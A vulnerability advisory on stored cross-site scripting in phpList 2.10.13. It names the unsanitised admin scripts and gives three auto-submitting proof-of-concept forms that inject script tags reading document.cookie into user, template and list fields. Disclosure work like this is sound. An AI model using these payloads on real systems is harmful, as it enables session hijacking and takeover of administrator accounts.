Vulnerability ID: HTB22956 Reference: http://www.htbridge.ch/advisory/xss_vulnerabilities_in_phplist.html Product: phpList Vendor: Tincan Ltd ( http://www.phplist.com/ ) Vulnerable Version: 2.10.13 and probably prior versions Vendor Notification: 12 April 2011 Vulnerability Type: XSS Risk level: Medium Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ ) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerabilities exists due to failure in the "admin/commonlib/lib/userlib.php", "admin/template.php", "admin/editlist.php" scripts to properly sanitize user-supplied input in "email" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: 1. <form action="http://host/admin/?page=user&start=0&id=USER_ID&find=&sortby=&sortorder=desc&unconfirmed=0&blacklisted=0"; method="post" name="main" enctype="multipart/form-data"> <input type="hidden" name="formtoken" value="123"> <input type="hidden" name="list" value=""> <input type="hidden" name="id" value="USER_ID"> <input type="hidden" name="returnpage" value=""> <input type="hidden" name="returnoption" value=""> <input type="hidden" name="email" value='email2@xxxxxxxxxxx"><script>alert(document.cookie)</script>'> <input type="hidden" name="confirmed" value="1"> <input type="hidden" name="htmlemail" value="123"> <input type="hidden" name="rssfrequency" value="2"> <input type="hidden" name="password" value="test"> <input type="hidden" name="disabled" value="0"> <input type="hidden" name="extradata" value="add"> <input type="hidden" name="foreignkey" value="forkey"> <input type="hidden" name="change" value="Save Changes"> </form> <script> document.main.submit(); </script> 2. <form action="http://host/admin/?page=template&id=TEMPLATE_ID"; method="post" name="main" enctype="multipart/form-data"> <input type="hidden" name="formtoken" value="123"> <input type="hidden" name="id" value="TEMPLATE_ID"> <input type="hidden" name="title" value="tplname"> <input type="hidden" name="file_template" value=""> <input type="hidden" name="content" value='<script>alert(document.cookie)</script>[CONTENT]'> <input type="hidden" name="save" value="Save Changes"> </form> <script> document.main.submit(); </script> 3. <form action="http://host/admin/?page=editlist&id=1"; method="post" name="main" enctype="multipart/form-data"> <input type="hidden" name="formtoken" value="123"> <input type="hidden" name="id" value="1"> <input type="hidden" name="listname" value="test2"> <input type="hidden" name="listorder" value="0"> <input type="hidden" name="owner" value="1"> <input type="hidden" name="description" value='List <script>alert(document.cookie)</script>[CONTENT]'> <input type="hidden" name="save" value="Save"> </form> <script> document.main.submit(); </script>